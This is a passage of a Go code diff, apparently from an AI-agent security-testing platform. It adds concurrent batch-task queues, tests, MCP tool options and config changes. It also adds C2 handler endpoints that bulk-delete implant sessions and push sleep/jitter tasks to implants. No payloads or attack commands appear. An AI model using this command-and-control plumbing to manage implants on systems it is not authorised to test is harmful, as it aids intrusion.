+	queue, exists := m.queues[queueID]
+	if !exists {
+		m.mu.Unlock()
+		return fmt.Errorf("队列不存在")
+	}
+
+	var task *BatchTask
+	taskIndex := -1
+	for i, t := range queue.Tasks {
+		if t.ID == taskID {
+			taskIndex = i
+			task = t
+			break
+		}
+	}
+	if task == nil {
+		m.mu.Unlock()
+		return fmt.Errorf("任务不存在")
+	}
+
+	if !queueAllowsSingleTaskRunLocked(queue, task) {
+		m.mu.Unlock()
+		return fmt.Errorf("队列正在执行或未就绪，无法单条执行")
+	}
+
+	// 暂停态：中止在途子任务并收口仍标记 running 的其它子任务，以便单条执行非冲突项
+	var cancelFuncs []context.CancelFunc
+	if queue.Status == BatchQueueStatusPaused {
+		cancelFuncs = m.drainTaskCancelsLocked(queueID)
+		for _, t := range queue.Tasks {
+			if t != nil && t.ID != taskID && t.Status == BatchTaskStatusRunning {
+				siblingRunningIDs = append(siblingRunningIDs, t.ID)
+			}
+		}
+	}
+
+	needsReset := task.Status != BatchTaskStatusPending
+	resumeQueue := queue.Status == BatchQueueStatusCompleted || queue.Status == BatchQueueStatusCancelled
+	m.mu.Unlock()
+
+	for _, c := range cancelFuncs {
+		if c != nil {
+			c()
+		}
+	}
+	const staleRunMsg = "为单条执行其它任务，已中止"
+	for _, sid := range siblingRunningIDs {
+		m.UpdateTaskStatus(queueID, sid, BatchTaskStatusCancelled, "", staleRunMsg)
+	}
+
+	m.mu.Lock()
+	defer m.mu.Unlock()
+
+	queue, exists = m.queues[queueID]
+	if !exists {
+		return fmt.Errorf("队列不存在")
+	}
+
+	task = nil
+	taskIndex = -1
+	for i, t := range queue.Tasks {
+		if t.ID == taskID {
+			taskIndex = i
+			task = t
+			break
+		}
+	}
+	if task == nil {
+		return fmt.Errorf("任务不存在")
+	}
+
+	if m.db != nil {
+		if err := m.db.PrepareBatchSingleTaskRun(queueID, taskID, taskIndex, needsReset, resumeQueue); err != nil {
+			return fmt.Errorf("准备单条执行失败: %w", err)
+		}
+	}
+
+	if needsReset {
+		task.Status = BatchTaskStatusPending
+		task.ConversationID = ""
+		task.StartedAt = nil
+		task.CompletedAt = nil
+		task.Error = ""
+		task.Result = ""
+	}
+	queue.CurrentIndex = taskIndex
+	queue.LastRunError = ""
+	if resumeQueue {
+		queue.Status = BatchQueueStatusPaused
+		queue.CompletedAt = nil
+	}
+
+	return nil
+}
+
+// SetSingleRunTask 标记队列仅执行指定子任务，完成后自动暂停
+func (m *BatchTaskManager) SetSingleRunTask(queueID, taskID string) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.singleRunTasks == nil {
+		m.singleRunTasks = make(map[string]string)
+	}
+	m.singleRunTasks[queueID] = taskID
+}
+
+// ClearSingleRunTask 清除单条执行标记
+func (m *BatchTaskManager) ClearSingleRunTask(queueID string) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	delete(m.singleRunTasks, queueID)
+}
+
+// TakeSingleRunTaskIfMatch 若刚完成的子任务为单条执行目标，则清除标记并返回 true
+func (m *BatchTaskManager) TakeSingleRunTaskIfMatch(queueID, taskID string) bool {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.singleRunTasks == nil {
+		return false
+	}
+	if m.singleRunTasks[queueID] != taskID {
+		return false
+	}
+	delete(m.singleRunTasks, queueID)
+	return true
+}
+
 // DeleteTask 删除任务（队列空闲时可删；执行中任务不可删）
 func (m *BatchTaskManager) DeleteTask(queueID, taskID string) error {
 	m.mu.Lock()
@@ -936,7 +1159,109 @@ func queueAllowsTaskListMutationLocked(queue *BatchTaskQueue) bool {
 	}
 }
 
-// GetNextTask 获取下一个待执行的任务
+// queueAllowsSingleTaskRunLocked 是否允许对指定子任务发起单条执行（必须在持有 BatchTaskManager.mu 下调用）
+func queueAllowsSingleTaskRunLocked(queue *BatchTaskQueue, task *BatchTask) bool {
+	if queue == nil || task == nil {
+		return false
+	}
+	if task.Status == BatchTaskStatusRunning {
+		return false
+	}
+	if queue.Status == BatchQueueStatusRunning {
+		return false
+	}
+	switch queue.Status {
+	case BatchQueueStatusPending, BatchQueueStatusPaused, BatchQueueStatusCompleted, BatchQueueStatusCancelled:
+		return true
+	default:
+		return false
+	}
+}
+
+// ClaimNextPendingTask 原子领取下一个待执行子任务（并发 worker 安全）。
+func (m *BatchTaskManager) ClaimNextPendingTask(queueID string) (*BatchTask, bool) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+
+	queue, exists := m.queues[queueID]
+	if !exists || queue == nil {
+		return nil, false
+	}
+	if queue.Status == BatchQueueStatusCancelled || queue.Status == BatchQueueStatusCompleted || queue.Status == BatchQueueStatusPaused {
+		return nil, false
+	}
+
+	onlyTaskID := ""
+	if m.singleRunTasks != nil {
+		onlyTaskID = m.singleRunTasks[queueID]
+	}
+
+	for i, task := range queue.Tasks {
+		if task == nil || task.Status != BatchTaskStatusPending {
+			continue
+		}
+		if onlyTaskID != "" && task.ID != onlyTaskID {
+			continue
+		}
+		task.Status = BatchTaskStatusRunning
+		queue.CurrentIndex = i
+		return task, true
+	}
+	return nil, false
+}
+
+// HasRunningTasks 队列是否仍有 running 状态的子任务。
+func (m *BatchTaskManager) HasRunningTasks(queueID string) bool {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	queue, exists := m.queues[queueID]
+	if !exists || queue == nil {
+		return false
+	}
+	for _, task := range queue.Tasks {
+		if task != nil && task.Status == BatchTaskStatusRunning {
+			return true
+		}
+	}
+	return false
+}
+
+// HasPendingOrRunningTasks 队列是否仍有未完成的子任务。
+func (m *BatchTaskManager) HasPendingOrRunningTasks(queueID string) bool {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	queue, exists := m.queues[queueID]
+	if !exists || queue == nil {
+		return false
+	}
+	for _, task := range queue.Tasks {
+		if task == nil {
+			continue
+		}
+		if task.Status == BatchTaskStatusPending || task.Status == BatchTaskStatusRunning {
+			return true
+		}
+	}
+	return false
+}
+
+// drainTaskCancelsLocked 取出并清空队列下所有子任务取消函数（调用方须已持 m.mu）。
+func (m *BatchTaskManager) drainTaskCancelsLocked(queueID string) []context.CancelFunc {
+	taskMap, ok := m.taskCancels[queueID]
+	if !ok || len(taskMap) == 0 {
+		return nil
+	}
+	cancels := make([]context.CancelFunc, 0, len(taskMap))
+	for _, c := range taskMap {
+		if c != nil {
+			cancels = append(cancels, c)
+		}
+	}
+	delete(m.taskCancels, queueID)
+	return cancels
+}
+
+// GetNextTask 获取下一个待执行的任务（串行兼容，优先使用 ClaimNextPendingTask）
 func (m *BatchTaskManager) GetNextTask(queueID string) (*BatchTask, bool) {
 	m.mu.Lock()
 	defer m.mu.Unlock()
@@ -977,20 +1302,28 @@ func (m *BatchTaskManager) MoveToNextTask(queueID string) {
 	}
 }
 
-// SetTaskCancel 设置当前任务的取消函数
-func (m *BatchTaskManager) SetTaskCancel(queueID string, cancel context.CancelFunc) {
+// SetTaskCancel 设置子任务的取消函数
+func (m *BatchTaskManager) SetTaskCancel(queueID, taskID string, cancel context.CancelFunc) {
 	m.mu.Lock()
 	defer m.mu.Unlock()
-	if cancel != nil {
-		m.taskCancels[queueID] = cancel
-	} else {
-		delete(m.taskCancels, queueID)
+	if cancel == nil {
+		if taskMap, ok := m.taskCancels[queueID]; ok {
+			delete(taskMap, taskID)
+			if len(taskMap) == 0 {
+				delete(m.taskCancels, queueID)
+			}
+		}
+		return
 	}
+	if m.taskCancels[queueID] == nil {
+		m.taskCancels[queueID] = make(map[string]context.CancelFunc)
+	}
+	m.taskCancels[queueID][taskID] = cancel
 }
 
 // PauseQueue 暂停队列
 func (m *BatchTaskManager) PauseQueue(queueID string) bool {
-	var cancelFunc context.CancelFunc
+	var cancelFuncs []context.CancelFunc
 
 	m.mu.Lock()
 	queue, exists := m.queues[queueID]
@@ -1015,17 +1348,11 @@ func (m *BatchTaskManager) PauseQueue(queueID string) bool {
 	}
 
 	queue.Status = BatchQueueStatusPaused
-
-	// 取消当前正在执行的任务（通过取消context）
-	if cancel, ok := m.taskCancels[queueID]; ok {
-		cancelFunc = cancel
-		delete(m.taskCancels, queueID)
-	}
+	cancelFuncs = m.drainTaskCancelsLocked(queueID)
 	m.mu.Unlock()
 
-	// 释放锁后执行取消回调（cancel 可能阻塞，不应持锁）
-	if cancelFunc != nil {
-		cancelFunc()
+	for _, c := range cancelFuncs {
+		c()
 	}
 
 	return true
@@ -1034,7 +1361,7 @@ func (m *BatchTaskManager) PauseQueue(queueID string) bool {
 // CancelQueue 取消队列（保留此方法以保持向后兼容，但建议使用PauseQueue）
 func (m *BatchTaskManager) CancelQueue(queueID string) bool {
 	now := time.Now()
-	var cancelFunc context.CancelFunc
+	var cancelFuncs []context.CancelFunc
 
 	m.mu.Lock()
 	queue, exists := m.queues[queueID]
@@ -1075,34 +1402,33 @@ func (m *BatchTaskManager) CancelQueue(queueID string) bool {
 		}
 	}
 
-	// 取消当前正在执行的任务
-	if cancel, ok := m.taskCancels[queueID]; ok {
-		cancelFunc = cancel
-		delete(m.taskCancels, queueID)
-	}
+	cancelFuncs = m.drainTaskCancelsLocked(queueID)
 	m.mu.Unlock()
 
-	// 释放锁后执行取消回调（cancel 可能阻塞，不应持锁）
-	if cancelFunc != nil {
-		cancelFunc()
+	for _, c := range cancelFuncs {
+		c()
 	}
 
 	return true
 }
 
-// DeleteQueue 删除队列（运行中的队列不允许删除）
-func (m *BatchTaskManager) DeleteQueue(queueID string) bool {
+// DeleteQueue 删除队列。执行协程活跃或 status 为 running 时拒绝删除，避免 executeBatchQueue 空指针 panic。
+func (m *BatchTaskManager) DeleteQueue(queueID string) error {
 	m.mu.Lock()
 	defer m.mu.Unlock()
 
 	queue, exists := m.queues[queueID]
 	if !exists {
-		return false
+		return ErrBatchQueueNotFound
+	}
+
+	if _, exec := m.queueExecutors[queueID]; exec {
+		return ErrBatchQueueExecutorActive
 	}
 
 	// 运行中的队列不允许删除，防止孤儿协程和数据丢失
 	if queue.Status == BatchQueueStatusRunning {
-		return false
+		return ErrBatchQueueStillRunning
 	}
 
 	// 清理取消函数
@@ -1116,7 +1442,7 @@ func (m *BatchTaskManager) DeleteQueue(queueID string) bool {
 	}
 
 	delete(m.queues, queueID)
-	return true
+	return nil
 }
 
 // generateShortID 生成短ID

internal/handler/batch_task_manager_test.go

@@ -0,0 +1,121 @@
+package handler
+
+import (
+	"errors"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestNormalizeBatchQueueConcurrency(t *testing.T) {
+	if got := normalizeBatchQueueConcurrency(0); got != DefaultBatchQueueConcurrency {
+		t.Fatalf("expected default %d, got %d", DefaultBatchQueueConcurrency, got)
+	}
+	if got := normalizeBatchQueueConcurrency(99); got != MaxBatchQueueConcurrency {
+		t.Fatalf("expected max %d, got %d", MaxBatchQueueConcurrency, got)
+	}
+}
+
+func TestClaimNextPendingTaskParallel(t *testing.T) {
+	m := NewBatchTaskManager(zap.NewNop())
+	queue, err := m.CreateBatchQueue("test", "", "eino_single", "manual", "", "", nil, 3, []string{"a", "b", "c"})
+	if err != nil {
+		t.Fatalf("CreateBatchQueue: %v", err)
+	}
+	m.UpdateQueueStatus(queue.ID, BatchQueueStatusRunning)
+
+	t1, ok1 := m.ClaimNextPendingTask(queue.ID)
+	t2, ok2 := m.ClaimNextPendingTask(queue.ID)
+	if !ok1 || !ok2 || t1.ID == t2.ID {
+		t.Fatalf("expected two distinct claims, got ok1=%v ok2=%v t1=%v t2=%v", ok1, ok2, t1, t2)
+	}
+	if t1.Status != BatchTaskStatusRunning || t2.Status != BatchTaskStatusRunning {
+		t.Fatalf("claimed tasks should be running")
+	}
+	t3, ok3 := m.ClaimNextPendingTask(queue.ID)
+	if !ok3 {
+		t.Fatal("expected third claim")
+	}
+	_, ok4 := m.ClaimNextPendingTask(queue.ID)
+	if ok4 {
+		t.Fatal("expected no fourth pending task")
+	}
+	_ = t3
+}
+
+func TestBatchQueueExecutionShouldStop(t *testing.T) {
+	t.Parallel()
+	if !batchQueueExecutionShouldStop(nil, false) {
+		t.Fatal("expected stop when queue missing")
+	}
+	if !batchQueueExecutionShouldStop(nil, true) {
+		t.Fatal("expected stop when queue is nil but exists=true")
+	}
+	q := &BatchTaskQueue{Status: BatchQueueStatusRunning}
+	if batchQueueExecutionShouldStop(q, true) {
+		t.Fatal("expected continue when running")
+	}
+	q.Status = BatchQueueStatusCancelled
+	if !batchQueueExecutionShouldStop(q, true) {
+		t.Fatal("expected stop when cancelled")
+	}
+}
+
+func TestDeleteQueueBlockedWhileExecutorActive(t *testing.T) {
+	t.Parallel()
+	m := NewBatchTaskManager(zap.NewNop())
+	queue, err := m.CreateBatchQueue("test", "", "eino_single", "manual", "", "", nil, 1, []string{"hello"})
+	if err != nil {
+		t.Fatalf("CreateBatchQueue: %v", err)
+	}
+	if !m.TryMarkQueueExecutor(queue.ID) {
+		t.Fatal("expected to mark executor")
+	}
+	m.UpdateQueueStatus(queue.ID, BatchQueueStatusCancelled)
+
+	err = m.DeleteQueue(queue.ID)
+	if !errors.Is(err, ErrBatchQueueExecutorActive) {
+		t.Fatalf("expected ErrBatchQueueExecutorActive, got %v", err)
+	}
+	if _, ok := m.GetBatchQueue(queue.ID); !ok {
+		t.Fatal("queue should still exist while executor active")
+	}
+
+	m.UnmarkQueueExecutor(queue.ID)
+	if err := m.DeleteQueue(queue.ID); err != nil {
+		t.Fatalf("expected delete after executor unmarked, got %v", err)
+	}
+	if _, ok := m.GetBatchQueue(queue.ID); ok {
+		t.Fatal("queue should be deleted")
+	}
+}
+
+func TestDeleteQueueBlockedWhileRunning(t *testing.T) {
+	t.Parallel()
+	m := NewBatchTaskManager(zap.NewNop())
+	queue, err := m.CreateBatchQueue("test", "", "eino_single", "manual", "", "", nil, 1, []string{"hello"})
+	if err != nil {
+		t.Fatalf("CreateBatchQueue: %v", err)
+	}
+	m.UpdateQueueStatus(queue.ID, BatchQueueStatusRunning)
+
+	err = m.DeleteQueue(queue.ID)
+	if !errors.Is(err, ErrBatchQueueStillRunning) {
+		t.Fatalf("expected ErrBatchQueueStillRunning, got %v", err)
+	}
+}
+
+func TestTryMarkQueueExecutorDedupes(t *testing.T) {
+	t.Parallel()
+	m := NewBatchTaskManager(zap.NewNop())
+	if !m.TryMarkQueueExecutor("q-1") {
+		t.Fatal("first mark should succeed")
+	}
+	if m.TryMarkQueueExecutor("q-1") {
+		t.Fatal("second mark should fail")
+	}
+	m.UnmarkQueueExecutor("q-1")
+	if !m.TryMarkQueueExecutor("q-1") {
+		t.Fatal("mark after unmark should succeed")
+	}
+}

internal/handler/batch_task_mcp.go

@@ -3,6 +3,7 @@ package handler
 import (
 	"context"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"strconv"
 	"strings"
@@ -181,6 +182,10 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
 					"type":        "string",
 					"description": "队列内子对话绑定的项目 ID（可选，未指定时使用 config.project.default_project_id）",
 				},
+				"concurrency": map[string]interface{}{
+					"type":        "integer",
+					"description": "同时执行的子任务数，默认 1（串行），最大 8。含扫描类工具时建议 1-2。",
+				},
 			},
 		},
 	}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
@@ -210,7 +215,8 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
 			executeNow = false
 		}
 		projectID := strings.TrimSpace(mcpArgString(args, "project_id"))
-		queue, createErr := h.batchTaskManager.CreateBatchQueue(title, role, agentMode, scheduleMode, cronExpr, projectID, nextRunAt, tasks)
+		concurrency := int(mcpArgFloat(args, "concurrency"))
+		queue, createErr := h.batchTaskManager.CreateBatchQueue(title, role, agentMode, scheduleMode, cronExpr, projectID, nextRunAt, concurrency, tasks)
 		if createErr != nil {
 			return batchMCPTextResult("创建队列失败: "+createErr.Error(), true), nil
 		}
@@ -365,8 +371,17 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
 		if qid == "" {
 			return batchMCPTextResult("queue_id 不能为空", true), nil
 		}
-		if !h.batchTaskManager.DeleteQueue(qid) {
-			return batchMCPTextResult("删除失败：队列不存在", true), nil
+		if err := h.batchTaskManager.DeleteQueue(qid); err != nil {
+			switch {
+			case errors.Is(err, ErrBatchQueueNotFound):
+				return batchMCPTextResult("删除失败：队列不存在", true), nil
+			case errors.Is(err, ErrBatchQueueExecutorActive):
+				return batchMCPTextResult("删除失败：队列执行器仍在运行，请稍后再试", true), nil
+			case errors.Is(err, ErrBatchQueueStillRunning):
+				return batchMCPTextResult("删除失败：队列正在运行中", true), nil
+			default:
+				return batchMCPTextResult("删除失败："+err.Error(), true), nil
+			}
 		}
 		logger.Info("MCP batch_task_delete", zap.String("queueId", qid))
 		return batchMCPTextResult("队列已删除。", false), nil
@@ -397,6 +412,10 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
 					"description": "代理模式：eino_single、deep、plan_execute、supervisor",
 					"enum":        []string{"eino_single", "deep", "plan_execute", "supervisor"},
 				},
+				"concurrency": map[string]interface{}{
+					"type":        "integer",
+					"description": "同时执行的子任务数，默认 1，最大 8",
+				},
 			},
 			"required": []string{"queue_id"},
 		},
@@ -408,7 +427,12 @@ func RegisterBatchTaskMCPTools(mcpServer *mcp.Server, h *AgentHandler, logger *z
 		title := mcpArgString(args, "title")
 		role := mcpArgString(args, "role")
 		agentMode := mcpArgString(args, "agent_mode")
-		if err := h.batchTaskManager.UpdateQueueMetadata(qid, title, role, agentMode); err != nil {
+		var concurrency *int
+		if raw, ok := args["concurrency"]; ok && raw != nil {
+			v := int(mcpArgFloat(args, "concurrency"))
+			concurrency = &v
+		}
+		if err := h.batchTaskManager.UpdateQueueMetadata(qid, title, role, agentMode, concurrency); err != nil {
 			return batchMCPTextResult(err.Error(), true), nil
 		}
 		updated, _ := h.batchTaskManager.GetBatchQueue(qid)
@@ -652,6 +676,7 @@ type batchTaskQueueMCPListItem struct {
 	StartedAt             *time.Time                `json:"startedAt,omitempty"`
 	CompletedAt           *time.Time                `json:"completedAt,omitempty"`
 	CurrentIndex          int                       `json:"currentIndex"`
+	Concurrency           int                       `json:"concurrency"`
 	TaskTotal             int                       `json:"task_total"`
 	TaskCounts            map[string]int            `json:"task_counts"`
 	Tasks                 []batchTaskMCPListSummary `json:"tasks"`
@@ -715,6 +740,7 @@ func toBatchTaskQueueMCPListItem(q *BatchTaskQueue) batchTaskQueueMCPListItem {
 		StartedAt:             q.StartedAt,
 		CompletedAt:           q.CompletedAt,
 		CurrentIndex:          q.CurrentIndex,
+		Concurrency:           q.Concurrency,
 		TaskTotal:             len(tasks),
 		TaskCounts:            counts,
 		Tasks:                 tasks,

internal/handler/c2.go

@@ -1,6 +1,7 @@
 package handler
 
 import (
+	"database/sql"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -277,6 +278,9 @@ func (h *C2Handler) ListSessions(c *gin.Context) {
 			filter.Limit = n
 		}
 	}
+	if c.Query("suspicious") == "1" || strings.EqualFold(c.Query("suspicious"), "true") {
+		filter.Suspicious = true
+	}
 
 	sessions, err := h.mgr().DB().ListC2Sessions(filter)
 	if err != nil {
@@ -324,7 +328,37 @@ func (h *C2Handler) DeleteSession(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"deleted": true})
 }
 
-// SetSessionSleep 设置会话的 sleep/jitter
+// DeleteSessions 批量删除会话（请求体 JSON: {"ids":["s_xxx",...]}）
+func (h *C2Handler) DeleteSessions(c *gin.Context) {
+	var req struct {
+		IDs []string `json:"ids"`
+	}
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
+		return
+	}
+	if len(req.IDs) == 0 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
+		return
+	}
+	n, err := h.mgr().DB().DeleteC2SessionsByIDs(req.IDs)
+	if err != nil {
+		if errors.Is(err, database.ErrNoValidC2SessionIDs) {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "c2", "session_delete", "批量删除 C2 会话", "c2_session", "", map[string]interface{}{
+			"count": n, "ids": req.IDs,
+		})
+	}
+	c.JSON(http.StatusOK, gin.H{"deleted": n})
+}
+
+// SetSessionSleep 设置会话的 sleep/jitter，并下发 sleep 任务到植入体
 func (h *C2Handler) SetSessionSleep(c *gin.Context) {
 	id := c.Param("id")
 	var req struct {
@@ -335,12 +369,33 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
 		return
 	}
+	if req.SleepSeconds < 1 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "sleep_seconds must be >= 1"})
+		return
+	}
+	if req.JitterPercent < 0 || req.JitterPercent > 100 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "jitter_percent must be 0-100"})
+		return
+	}
 
-	if err := h.mgr().DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil {
+	task, err := h.mgr().SetSessionSleep(id, req.SleepSeconds, req.JitterPercent)
+	if err != nil {
+		if errors.Is(err, sql.ErrNoRows) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
+			return
+		}
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
 	}
-	c.JSON(http.StatusOK, gin.H{"updated": true})
+	out := gin.H{
+		"updated":        true,
+		"sleep_seconds":  req.SleepSeconds,
+		"jitter_percent": req.JitterPercent,
+	}
+	if task != nil {
+		out["task_id"] = task.ID
+	}
+	c.JSON(http.StatusOK, out)
 }
 
 // ============================================================================

internal/handler/config.go

@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
+	// 获取外部MCP工具（走缓存，持锁期间通常不阻塞）
 	if h.externalMCPMgr != nil {
 		ctx := context.Background()
 		externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
 
 // GetTools 获取工具列表（支持分页和搜索）
 func (h *ConfigHandler) GetTools(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
 
 	// 解析分页参数
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
+	includeExternal := true
+	if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
+		includeExternal = false
+	}
+	refreshExternal := false
+	if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
+		refreshExternal = true
+	}
+
+	// 按外部 MCP 名称筛选（MCP 管理页左侧卡片 → 右侧工具列表联动）
+	externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
+
+	// 快照配置后立即释放锁，避免外部 MCP 网络 IO 阻塞整个配置子系统
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	roles := h.config.Roles
+	toolDescriptionMode := h.config.Security.ToolDescriptionMode
+	mcpServer := h.mcpServer
+	externalMCPMgr := h.externalMCPMgr
+	h.mu.RUnlock()
+
+	pickDesc := func(shortDesc, fullDesc string) string {
+		return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
+	}
+
 	// 解析角色参数，用于过滤工具并标注启用状态
 	roleName := c.Query("role")
 	var roleToolsSet map[string]bool // 角色配置的工具集合
 	var roleUsesAllTools bool = true // 角色是否使用所有工具（默认角色）
-	if roleName != "" && roleName != "默认" && h.config.Roles != nil {
-		if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
+	if roleName != "" && roleName != "默认" && roles != nil {
+		if role, exists := roles[roleName]; exists && role.Enabled {
 			if len(role.Tools) > 0 {
 				// 角色配置了工具列表，只使用这些工具
 				roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 	// 获取所有内部工具并应用搜索过滤
 	configToolMap := make(map[string]bool)
-	allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
-	for _, tool := range h.config.Security.Tools {
+	allTools := make([]ToolConfigInfo, 0, len(securityTools))
+	for _, tool := range securityTools {
 		configToolMap[tool.Name] = true
 		toolInfo := ToolConfigInfo{
 			Name:        tool.Name,
-			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
+			Description: pickDesc(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		}
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	}
 
 	// 从MCP服务器获取所有已注册的工具（包括直接注册的工具，如知识检索工具）
-	if h.mcpServer != nil {
-		mcpTools := h.mcpServer.GetAllTools()
+	if mcpServer != nil {
+		mcpTools := mcpServer.GetAllTools()
 		for _, mcpTool := range mcpTools {
 			// 跳过已经在配置文件中的工具（避免重复）
 			if configToolMap[mcpTool.Name] {
 				continue
 			}
 
-			description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
+			description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
 
 			toolInfo := ToolConfigInfo{
 				Name:        mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
-	if h.externalMCPMgr != nil {
-		// 创建context用于获取外部工具
+	// 获取外部MCP工具（可走缓存，不持有 config 锁）
+	if includeExternal && externalMCPMgr != nil {
+		if refreshExternal {
+			externalMCPMgr.InvalidateAllToolCaches()
+		}
 		ctx := context.Background()
-		externalTools := h.getExternalMCPTools(ctx)
+		externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
 
 		// 应用搜索过滤和角色配置
 		for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	// 注意：这里我们不直接过滤掉工具，而是保留所有工具，但通过 role_enabled 字段标注状态
 	// 这样前端可以显示所有工具，并标注哪些工具在当前角色中可用
 
+	if externalMCPFilter != "" {
+		filtered := make([]ToolConfigInfo, 0)
+		for _, tool := range allTools {
+			if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
+				filtered = append(filtered, tool)
+			}
+		}
+		allTools = filtered
+	}
+
 	// 统一按名称排序后再分页，避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
 	sort.SliceStable(allTools, func(i, j int) bool {
 		key := func(t ToolConfigInfo) string {
@@ -654,11 +688,9 @@ type UpdateConfigRequest struct {
 // AgentConfigUpdate 用于 PATCH /api/config 的 agent 段：仅 JSON 中出现的字段（指针非 nil）覆盖内存配置。
 // 避免旧版「整包替换 *AgentConfig」时，未传的整型字段被反序列化为 0 误覆盖（例如 tool_timeout_minutes 变成 0）。
 type AgentConfigUpdate struct {
-	MaxIterations        *int    `json:"max_iterations,omitempty"`
-	LargeResultThreshold *int    `json:"large_result_threshold,omitempty"`
-	ResultStorageDir     *string `json:"result_storage_dir,omitempty"`
-	ToolTimeoutMinutes   *int    `json:"tool_timeout_minutes,omitempty"`
-	SystemPromptPath     *string `json:"system_prompt_path,omitempty"`
+	MaxIterations      *int    `json:"max_iterations,omitempty"`
+	ToolTimeoutMinutes *int    `json:"tool_timeout_minutes,omitempty"`
+	SystemPromptPath   *string `json:"system_prompt_path,omitempty"`
 }
 
 func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -668,12 +700,6 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
 	if src.MaxIterations != nil {
 		dst.MaxIterations = *src.MaxIterations
 	}
-	if src.LargeResultThreshold != nil {
-		dst.LargeResultThreshold = *src.LargeResultThreshold
-	}
-	if src.ResultStorageDir != nil {
-		dst.ResultStorageDir = *src.ResultStorageDir
-	}
 	if src.ToolTimeoutMinutes != nil {
 		dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
 	}
@@ -772,6 +798,10 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
 
 	// 更新机器人配置
 	if req.Robots != nil {
+		if err := config.ValidateWecomConfig(req.Robots.Wecom); err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
 		h.config.Robots = *req.Robots
 		h.logger.Info("更新机器人配置",
 			zap.Bool("wechat_enabled", h.config.Robots.Wechat.Enabled),
@@ -1042,6 +1072,80 @@ func (h *ConfigHandler) TestOpenAI(c *gin.Context) {
 	})
 }
 
+// ListModelsRequest 获取模型列表请求（OpenAI 兼容 GET /models）。
+type ListModelsRequest struct {
+	Provider string `json:"provider"`
+	BaseURL  string `json:"base_url"`
+	APIKey   string `json:"api_key"`
+}
+
+// ListModels 代理调用上游 GET /models，返回可用模型 id 列表。
+func (h *ConfigHandler) ListModels(c *gin.Context) {
+	var req ListModelsRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
+		return
+	}
+
+	provider := strings.TrimSpace(req.Provider)
+	if provider == "" {
+		provider = "openai"
+	}
+	if strings.EqualFold(provider, "claude") {
+		c.JSON(http.StatusOK, gin.H{
+			"success":   false,
+			"supported": false,
+			"error":     "Claude (Anthropic Messages API) 不支持自动获取模型列表，请手动填写",
+		})
+		return
+	}
+
+	if strings.TrimSpace(req.APIKey) == "" {
